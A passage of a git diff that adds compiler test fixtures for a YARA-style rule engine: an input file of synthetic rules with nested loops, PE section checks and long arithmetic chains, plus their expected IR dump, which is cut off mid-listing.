0xf10fc85f5e4d4547 + 46: ADD -- hash: 0x295c3e43863762b8 + 44: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 45: CONST integer(8) + 47: CONST integer(10) + 53: EQ -- hash: 0xdd3ae1a33336099f + 51: ADD -- hash: 0xd215c8ea99fc38a3 + 49: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 50: CONST integer(9) + 52: CONST integer(10) + 58: EQ -- hash: 0xc965fae7041ecdf7 + 56: ADD -- hash: 0x7acf5391adc10e8f + 54: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 55: CONST integer(10) + 57: CONST integer(10) + 63: EQ -- hash: 0xb591142ad907924f + 61: ADD -- hash: 0x2388de38c185e47b + 59: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 60: CONST integer(11) + 62: CONST integer(10) + 68: EQ -- hash: 0xa1bc2d6eadf056a7 + 66: ADD -- hash: 0xcc4268dfd54aba66 + 64: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 65: CONST integer(12) + 67: CONST integer(10) + 73: EQ -- hash: 0x8de746b282d91aff + 71: ADD -- hash: 0x74fbf386e90f9052 + 69: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 70: CONST integer(13) + 72: CONST integer(10) + 78: EQ -- hash: 0x7a125ff657c1df57 + 76: ADD -- hash: 0x1db57e2dfcd4663e + 74: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 75: CONST integer(14) + 77: CONST integer(10) + 83: EQ -- hash: 0x663d793a28aaa3af + 81: ADD -- hash: 0xc66f08d510993c29 + 79: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 80: CONST integer(15) + 82: CONST integer(10) + 88: EQ -- hash: 0x5268927dfd936807 + 86: ADD -- hash: 0x6f28937c245e1215 + 84: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 85: CONST integer(16) + 87: CONST integer(10) + 93: EQ -- hash: 0x3e93abc1d27c2c5f + 91: ADD -- hash: 0x17e21e233822e801 + 89: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 90: CONST integer(17) + 92: CONST integer(10) + 98: EQ -- hash: 0x2abec505a764f0b7 + 96: ADD -- hash: 0xc09ba8ca4fe7bdec + 94: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 95: CONST integer(18) + 97: CONST integer(10) + 103: EQ -- hash: 0x16e9de49784db50f + 101: ADD -- hash: 0x6955337163ac93d8 + 99: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 100: CONST integer(19) + 102: CONST integer(10) + 108: EQ -- hash: 0x314f78d4d367967 + 106: ADD -- hash: 0x120ebe18777169c4 + 104: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 105: CONST integer(20) + 107: CONST integer(10) + 113: EQ -- hash: 0xef4010d1221f3dbe + 111: ADD -- hash: 0xbac848bf8b363faf + 109: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 110: CONST integer(21) + 112: CONST integer(10) + 118: EQ -- hash: 0xdb6b2a14f7080216 + 116: ADD -- hash: 0x6381d3669efb159b + 114: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 115: CONST integer(22) + 117: CONST integer(10) + 123: EQ -- hash: 0xc7964358cbf0c66e + 121: ADD -- hash: 0xc3b5e0db2bfeb87 + 119: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 120: CONST integer(23) + 122: CONST integer(10) + 128: EQ -- hash: 0xb3c15c9c9cd98ac6 + 126: ADD -- hash: 0xb4f4e8b4c684c172 + 124: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 125: CONST integer(24) + 127: CONST integer(10) + 133: EQ -- hash: 0x9fec75e071c24f1e + 131: ADD -- hash: 0x5dae735bda49975e + 129: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 130: CONST integer(25) + 132: CONST integer(10) + 138: EQ -- hash: 0x8c178f2446ab1376 + 136: ADD -- hash: 0x667fe02ee0e6d4a + 134: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 135: CONST integer(26) + 137: CONST integer(10) + 143: EQ -- hash: 0x7842a8681b93d7ce + 141: ADD -- hash: 0xaf2188aa01d34335 + 139: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 140: CONST integer(27) + 142: CONST integer(10) + 148: EQ -- hash: 0x646dc1abec7c9c26 + 146: ADD -- hash: 0x57db135115981921 + 144: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 145: CONST integer(28) + 147: CONST integer(10) + 153: EQ -- hash: 0x5098daefc165607e + 151: ADD -- hash: 0x949df8295cef0d + 149: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 150: CONST integer(29) + 152: CONST integer(10) + 158: EQ -- hash: 0x3cc3f433964e24d6 + 156: ADD -- hash: 0xa94e289f3d21c4f8 + 154: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 155: CONST integer(30) + 157: CONST integer(10) + 163: EQ -- hash: 0x28ef0d776b36e92e + 161: ADD -- hash: 0x5207b34650e69ae4 + 159: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 160: CONST integer(31) + 162: CONST integer(10) + 168: EQ -- hash: 0x151a26bb3c1fad86 + 166: ADD -- hash: 0xfac13ded64ab70cf + 164: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 165: CONST integer(32) + 167: CONST integer(10) + 173: EQ -- hash: 0x1453fff110871de + 171: ADD -- hash: 0xa37ac894787046bb + 169: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 170: CONST integer(33) + 172: CONST integer(10) + 178: EQ -- hash: 0xed705942e5f13635 + 176: ADD -- hash: 0x4c34533b8c351ca7 + 174: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 175: CONST integer(34) + 177: CONST integer(10) + 183: EQ -- hash: 0xd99b7286bad9fa8d + 181: ADD -- hash: 0xf4eddde2a3f9f292 + 179: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 180: CONST integer(35) + 182: CONST integer(10) + 188: EQ -- hash: 0xc5c68bca8fc2bee5 + 186: ADD -- hash: 0x9da76889b7bec87e + 184: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 185: CONST integer(36) + 187: CONST integer(10) + 193: EQ -- hash: 0xb1f1a50e60ab833d + 191: ADD -- hash: 0x4660f330cb839e6a + 189: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 190: CONST integer(37) + 192: CONST integer(10) + 198: EQ -- hash: 0x9e1cbe5235944795 + 196: ADD -- hash: 0xef1a7dd7df487455 + 194: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 195: CONST integer(38) + 197: CONST integer(10) + 203: EQ -- hash: 0x8a47d7960a7d0bed + 201: ADD -- hash: 0x97d4087ef30d4a41 + 199: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 200: CONST integer(39) + 202: CONST integer(10) + 208: EQ -- hash: 0x7672f0d9df65d045 + 206: ADD -- hash: 0x408d932606d2202d + 204: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 205: CONST integer(40) + 207: CONST integer(10) + 213: EQ -- hash: 0x629e0a1db04e949d + 211: ADD -- hash: 0xe9471dcd1a96f618 + 209: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 210: CONST integer(41) + 212: CONST integer(10) + 218: EQ -- hash: 0x4ec92361853758f5 + 216: ADD -- hash: 0x9200a8742e5bcc04 + 214: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 215: CONST integer(42) + 217: CONST integer(10) + 223: EQ -- hash: 0x3af43ca55a201d4d + 221: ADD -- hash: 0x3aba331b4220a1f0 + 219: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 220: CONST integer(43) + 222: CONST integer(10) + 228: EQ -- hash: 0x271f55e92f08e1a5 + 226: ADD -- hash: 0xe373bdc255e577db + 224: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 225: CONST integer(44) + 227: CONST integer(10) + 233: EQ -- hash: 0x134a6f2d03f1a5fd + 231: ADD -- hash: 0x8c2d486969aa4dc7 + 229: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 230: CONST integer(45) + 232: CONST integer(10) + 238: EQ -- hash: 0xff758870d4da6a54 + 236: ADD -- hash: 0x34e6d3107d6f23b3 + 234: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 235: CONST integer(46) + 237: CONST integer(10) + 243: EQ -- hash: 0xeba0a1b4a9c32eac + 241: ADD -- hash: 0xdda05db79133f99e + 239: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 240: CONST integer(47) + 242: CONST integer(10) + 248: EQ -- hash: 0xd7cbbaf87eabf304 + 246: ADD -- hash: 0x8659e85ea4f8cf8a + 244: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 245: CONST integer(48) + 247: CONST integer(10) + 253: EQ -- hash: 0xc3f6d43c5394b75c + 251: ADD -- hash: 0x2f137305b8bda576 + 249: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 250: CONST integer(49) + 252: CONST integer(10) + 258: EQ -- hash: 0xb021ed80247d7bb4 + 256: ADD -- hash: 0xd7ccfdaccc827b61 + 254: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 255: CONST integer(50) + 257: CONST integer(10) + 263: EQ -- hash: 0x9c4d06c3f966400c + 261: ADD -- hash: 0x80868853e047514d + 259: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 260: CONST integer(51) + 262: CONST integer(10) + 268: EQ -- hash: 0x88782007ce4f0464 + 266: ADD -- hash: 0x294012faf40c2739 + 264: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 265: CONST integer(52) + 267: CONST integer(10) + 273: EQ -- hash: 0x74a3394ba337c8bc + 271: ADD -- hash: 0xd1f99da20bd0fd24 + 269: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 270: CONST integer(53) + 272: CONST integer(10) + 278: EQ -- hash: 0x60ce528f74208d14 + 276: ADD -- hash: 0x7ab328491f95d310 + 274: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 275: CONST integer(54) + 277: CONST integer(10) + 283: EQ -- hash: 0x4cf96bd34909516c + 281: ADD -- hash: 0x236cb2f0335aa8fc + 279: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 280: CONST integer(55) + 282: CONST integer(10) + 288: EQ -- hash: 0x392485171df215c4 + 286: ADD -- hash: 0xcc263d97471f7ee7 + 284: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 285: CONST integer(56) + 287: CONST integer(10) + 293: EQ -- hash: 0x254f9e5af2dada1c + 291: ADD -- hash: 0x74dfc83e5ae454d3 + 289: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 290: CONST integer(57) + 292: CONST integer(10) + 298: EQ -- hash: 0x117ab79ec7c39e74 + 296: ADD -- hash: 0x1d9952e56ea92abf + 294: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 295: CONST integer(58) + 297: CONST integer(10) + 303: EQ -- hash: 0xfda5d0e298ac62cb + 301: ADD -- hash: 0xc652dd8c826e00aa + 299: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 300: CONST integer(59) + 302: CONST integer(10) + 308: EQ -- hash: 0xe9d0ea266d952723 + 306: ADD -- hash: 0x6f0c68339632d696 + 304: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 305: CONST integer(60) + 307: CONST integer(10) + 313: EQ -- hash: 0xd5fc036a427deb7b + 311: ADD -- hash: 0x17c5f2daa9f7ac82 + 309: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 310: CONST integer(61) + 312: CONST integer(10) + 318: EQ -- hash: 0xc2271cae1766afd3 + 316: ADD -- hash: 0xc07f7d81bdbc826d + 314: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 315: CONST integer(62) + 317: CONST integer(10) + 323: EQ -- hash: 0xae5235f1e84f742b + 321: ADD -- hash: 0x69390828d1815859 + 319: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 320: CONST integer(63) + 322: CONST integer(10) + 328: EQ -- hash: 0x9a7d4f35bd383883 + 326: ADD -- hash: 0x11f292cfe5462e45 + 324: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 325: CONST integer(64) + 327: CONST integer(10) + 333: EQ -- hash: 0x86a868799220fcdb + 331: ADD -- hash: 0xbaac1d76f90b0430 + 329: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 330: CONST integer(65) + 332: CONST integer(10) + 338: EQ -- hash: 0x72d381bd6709c133 + 336: ADD -- hash: 0x6365a81e0ccfda1c + 334: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 335: CONST integer(66) + 337: CONST integer(10) + 343: EQ -- hash: 0x5efe9b013bf2858b + 341: ADD -- hash: 0xc1f32c52094b008 + 339: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 340: CONST integer(67) + 342: CONST integer(10) + 348: EQ -- hash: 0x4b29b4450cdb49e3 + 346: ADD -- hash: 0xb4d8bd6c345985f3 + 344: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 345: CONST integer(68) + 347: CONST integer(10) + 353: EQ -- hash: 0x3754cd88e1c40e3b + 351: ADD -- hash: 0x5d924813481e5bdf + 349: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 350: CONST integer(69) + 352: CONST integer(10) + 358: EQ -- hash: 0x237fe6ccb6acd293 + 356: ADD -- hash: 0x64bd2ba5fe331cb + 354: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 355: CONST integer(70) + 357: CONST integer(10) + 363: EQ -- hash: 0xfab00108b9596eb + 361: ADD -- hash: 0xaf055d6173a807b6 + 359: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 360: CONST integer(71) + 362: CONST integer(10) + 368: EQ -- hash: 0xfbd619545c7e5b42 + 366: ADD -- hash: 0x57bee808876cdda2 + 364: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 365: CONST integer(72) + 367: CONST integer(10) + 373: EQ -- hash: 0xe801329831671f9a + 371: ADD -- hash: 0x7872af9b31b38e + 369: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 370: CONST integer(73) + 372: CONST integer(10) + 378: EQ -- hash: 0xd42c4bdc064fe3f2 + 376: ADD -- hash: 0xa931fd56aef68979 + 374: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 375: CONST integer(74) + 377: CONST integer(10) + 383: EQ -- hash: 0xc057651fdb38a84a + 381: ADD -- hash: 0x51eb87fdc2bb5f65 + 379: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 380: CONST integer(75) + 382: CONST integer(10) + 388: EQ -- hash: 0xac827e63ac216ca2 + 386: ADD -- hash: 0xfaa512a4d6803550 + 384: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 385: CONST integer(76) + 387: CONST integer(10) + 393: EQ -- hash: 0x98ad97a7810a30fa + 391: ADD -- hash: 0xa35e9d4bea450b3c + 389: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 390: CONST integer(77) + 392: CONST integer(10) + 398: EQ -- hash: 0x84d8b0eb55f2f552 + 396: ADD -- hash: 0x4c1827f2fe09e128 + 394: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 395: CONST integer(78) + 397: CONST integer(10) + 403: EQ -- hash: 0x7103ca2f2adbb9aa + 401: ADD -- hash: 0xf4d1b29a11ceb713 + 399: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 400: CONST integer(79) + 402: CONST integer(10) + 408: EQ -- hash: 0x5d2ee372ffc47e02 + 406: ADD -- hash: 0x9d8b3d4125938cff + 404: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 405: CONST integer(80) + 407: CONST integer(10) + 413: EQ -- hash: 0x4959fcb6d0ad425a + 411: ADD -- hash: 0x4644c7e8395862eb + 409: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 410: CONST integer(81) + 412: CONST integer(10) + 418: EQ -- hash: 0x358515faa59606b2 + 416: ADD -- hash: 0xeefe528f4d1d38d6 + 414: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 415: CONST integer(82) + 417: CONST integer(10) + 423: EQ -- hash: 0x21b02f3e7a7ecb0a + 421: ADD -- hash: 0x97b7dd3660e20ec2 + 419: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 420: CONST integer(83) + 422: CONST integer(10) + 428: EQ -- hash: 0xddb48824f678f62 + 426: ADD -- hash: 0x407167dd74a6e4ae + 424: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 425: CONST integer(84) + 427: CONST integer(10) + 433: EQ -- hash: 0xfa0661c6205053b9 + 431: ADD -- hash: 0xe92af284886bba99 + 429: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 430: CONST integer(85) + 432: CONST integer(10) + 438: EQ -- hash: 0xe6317b09f5391811 + 436: ADD -- hash: 0x91e47d2b9c309085 + 434: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 435: CONST integer(86) + 437: CONST integer(10) + 443: EQ -- hash: 0xd25c944dca21dc69 + 441: ADD -- hash: 0x3a9e07d2b3f56671 + 439: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 440: CONST integer(87) + 442: CONST integer(10) + 448: EQ -- hash: 0xbe87ad919f0aa0c1 + 446: ADD -- hash: 0xe3579279c7ba3c5c + 444: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 445: CONST integer(88) + 447: CONST integer(10) + 453: EQ -- hash: 0xaab2c6d573f36519 + 451: ADD -- hash: 0x8c111d20db7f1248 + 449: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 450: CONST integer(89) + 452: CONST integer(10) + 458: EQ -- hash: 0x96dde01944dc2971 + 456: ADD -- hash: 0x34caa7c7ef43e834 + 454: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 455: CONST integer(90) + 457: CONST integer(10) + 463: EQ -- hash: 0x8308f95d19c4edc9 + 461: ADD -- hash: 0xdd84326f0308be1f + 459: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 460: CONST integer(91) + 462: CONST integer(10) + 468: EQ -- hash: 0x6f3412a0eeadb221 + 466: ADD -- hash: 0x863dbd1616cd940b + 464: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 465: CONST integer(92) + 467: CONST integer(10) + 473: EQ -- hash: 0x5b5f2be4c3967679 + 471: ADD -- hash: 0x2ef747bd2a9269f7 + 469: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 470: CONST integer(93) + 472: CONST integer(10) + 478: EQ -- hash: 0x478a4528947f3ad1 + 476: ADD -- hash: 0xd7b0d2643e573fe2 + 474: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 475: CONST integer(94) + 477: CONST integer(10) + 483: EQ -- hash: 0x33b55e6c6967ff29 + 481: ADD -- hash: 0x806a5d0b521c15ce + 479: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 480: CONST integer(95) + 482: CONST integer(10) + 488: EQ -- hash: 0x1fe077b03e50c381 + 486: ADD -- hash: 0x2923e7b265e0ebba + 484: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 485: CONST integer(96) + 487: CONST integer(10) + 493: EQ -- hash: 0xc0b90f4133987d9 + 491: ADD -- hash: 0xd1dd725979a5c1a5 + 489: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 490: CONST integer(97) + 492: CONST integer(10) + 498: EQ -- hash: 0xf836aa37e4224c30 + 496: ADD -- hash: 0x7a96fd008d6a9791 + 494: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 495: CONST integer(98) + 497: CONST integer(10) + 503: EQ -- hash: 0xe461c37bb90b1088 + 501: ADD -- hash: 0x235087a7a12f6d7d + 499: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 500: CONST integer(99) + 502: CONST integer(10) + 508: EQ -- hash: 0xd08cdcbf8df3d4e0 + 506: ADD -- hash: 0xcc0a124eb4f44368 + 504: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 505: CONST integer(100) + 507: CONST integer(10) + 513: EQ -- hash: 0xbcb7f60362dc9938 + 511: ADD -- hash: 0x74c39cf5c8b91954 + 509: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 510: CONST integer(101) + 512: CONST integer(10) + 518: EQ -- hash: 0xa8e30f4737c55d90 + 516: ADD -- hash: 0x1d7d279cdc7def40 + 514: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 515: CONST integer(102) + 517: CONST integer(10) + 523: EQ -- hash: 0x950e288b08ae21e8 + 521: ADD -- hash: 0xc636b243f042c52b + 519: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 520: CONST integer(103) + 522: CONST integer(10) + 528: EQ -- hash: 0x813941cedd96e640 + 526: ADD -- hash: 0x6ef03ceb04079b17 + 524: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 525: CONST integer(104) + 527: CONST integer(10) + diff --git a/lib/src/compiler/ir/tests/testdata/14.in b/lib/src/compiler/ir/tests/testdata/14.in new file mode 100644 index 00000000..6a0255ac --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/14.in @@ -0,0 +1,142 @@ +import "pe" + +rule test_1 { + condition: + for any i in (1..5) : ( + for any j in (1..5) : ( + for any k in (1..5) : ( + pe.number_of_sections > 0 or i == 3 or j == 4 + ) + ) + ) +} + +rule test_2 { + condition: + with x = 10 : ( + for any i in (1..5) : ( + x + 1 == 11 and i > 0 + ) + ) +} + +rule test_3 { + condition: + for any i in (0..pe.number_of_sections) : ( + pe.sections[i].name == ".text" and pe.number_of_sections > 0 + ) +} + +rule test_4 { + condition: + for any i in (1..5) : ( + for any j in (1..5) : ( + i + 0 == 10 and + i + 1 == 10 and + i + 2 == 10 and + i + 3 == 10 and + i + 4 == 10 and + i + 5 == 10 and + i + 6 == 10 and + i + 7 == 10 and + i + 8 == 10 and + i + 9 == 10 and + i + 10 == 10 and + i + 11 == 10 and + i + 12 == 10 and + i + 13 == 10 and + i + 14 == 10 and + i + 15 == 10 and + i + 16 == 10 and + i + 17 == 10 and + i + 18 == 10 and + i + 19 == 10 and + i + 20 == 10 and + i + 21 == 10 and + i + 22 == 10 and + i + 23 == 10 and + i + 24 == 10 and + i + 25 == 10 and + i + 26 == 10 and + i + 27 == 10 and + i + 28 == 10 and + i + 29 == 10 and + i + 30 == 10 and + i + 31 == 10 and + i + 32 == 10 and + i + 33 == 10 and + i + 34 == 10 and + i + 35 == 10 and + i + 36 == 10 and + i + 37 == 10 and + i + 38 == 10 and + i + 39 == 10 and + i + 40 == 10 and + i + 41 == 10 and + i + 42 == 10 and + i + 43 == 10 and + i + 44 == 10 and + i + 45 == 10 and + i + 46 == 10 and + i + 47 == 10 and + i + 48 == 10 and + i + 49 == 10 and + i + 50 == 10 and + i + 51 == 10 and + i + 52 == 10 and + i + 53 == 10 and + i + 54 == 10 and + i + 55 == 10 and + i + 56 == 10 and + i + 57 == 10 and + i + 58 == 10 and + i + 59 == 10 and + i + 60 == 10 and + i + 61 == 10 and + i + 62 == 10 and + i + 63 == 10 and + i + 64 == 10 and + i + 65 == 10 and + i + 66 == 10 and + i + 67 == 10 and + i + 68 == 10 and + i + 69 == 10 and + i + 70 == 10 and + i + 71 == 10 and + i + 72 == 10 and + i + 73 == 10 and + i + 74 == 10 and + i + 75 == 10 and + i + 76 == 10 and + i + 77 == 10 and + i + 78 == 10 and + i + 79 == 10 and + i + 80 == 10 and + i + 81 == 10 and + i + 82 == 10 and + i + 83 == 10 and + i + 84 == 10 and + i + 85 == 10 and + i + 86 == 10 and + i + 87 == 10 and + i + 88 == 10 and + i + 89 == 10 and + i + 90 == 10 and + i + 91 == 10 and + i + 92 == 10 and + i + 93 == 10 and + i + 94 == 10 and + i + 95 == 10 and + i + 96 == 10 and + i + 97 == 10 and + i + 98 == 10 and + i + 99 == 10 and + i + 100 == 10 and + i + 101 == 10 and + i + 102 == 10 and + i + 103 == 10 and + i + 104 == 10 and + true + ) + ) +} diff --git a/lib/src/compiler/ir/tests/testdata/14.ir b/lib/src/compiler/ir/tests/testdata/14.ir new file mode 100644 index 00000000..1240471e --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/14.ir @@ -0,0 +1,628 @@ +RULE test_1 + 20: FOR_IN -- hash: 0x72bf379da36225e5 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 19: FOR_IN -- hash: 0xdaad33cf0baf0a64 + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 18: FOR_IN -- hash: 0x497c3d59939269bb + n: Var { frame_id: 3, ty: integer, index: 14 } + i: Var { frame_id: 3, ty: integer, index: 15 } + max_count: Var { frame_id: 3, ty: integer, index: 16 } + count: Var { frame_id: 3, ty: integer, index: 17 } + item: Var { frame_id: 3, ty: unknown, index: 18 } + 4: CONST integer(1) + 5: CONST integer(5) + 17: OR -- hash: 0x12919697ba229f76 + 10: GT -- hash: 0xc0fd295a9fa39fa9 + 8: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 7: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 9: CONST integer(0) + 13: EQ -- hash: 0xca7652cced0142e6 + 11: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 12: CONST integer(3) + 16: EQ -- hash: 0xdf5816c82bc02f3 + 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } + 15: CONST 